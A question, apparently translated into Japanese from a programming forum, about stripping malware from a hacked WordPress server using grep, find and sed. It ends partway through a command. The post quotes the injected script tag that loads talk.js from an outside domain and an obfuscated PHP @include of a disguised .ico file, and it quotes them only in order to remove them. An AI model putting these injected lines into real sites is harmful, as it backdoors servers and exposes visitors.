sedまたはおそらくgrepを使用して文字列全体を置き換える方法
サーバー全体がハッキングされたり、マルウェアの問題が発生したりしました。私のサイトはWordPressベースで、私のサーバーでホストされているサイトの大部分はWordPressベースです。ハッカーはこのコード行をすべてのファイルとデータベースに追加しました <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> 私は使用してgrepでそれを検索しました grep -r "trasnaltemyrecords" /var/www/html/{*,.*} 私はそれをファイル構造全体で置き換えようとしています、sedそして私は次のコマンドを書きました。 sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php index.php最初に1 つのファイルの文字列を置き換えようとしているので、それが機能することがわかります。 そして、私は自分のコードが間違っていることを知っています。これで私を助けてください。 @Eranのコードを試してみたところ、行全体が削除されました。しかし、専門用語はこれです /*ee8fa*/ @include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o"; /*ee8fa*/ そして、すべてのコンテンツを削除したいのですが、phpの開始タグを保持したいと思ってい<?phpます。 @slyblotyの解決策は簡単で、うまくいきましたが。 影響を受けるすべてのファイルからコードを完全に削除します。私は次の3つのコマンドを実行しています。 find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" -スクリプト行を削除するには find . -type f …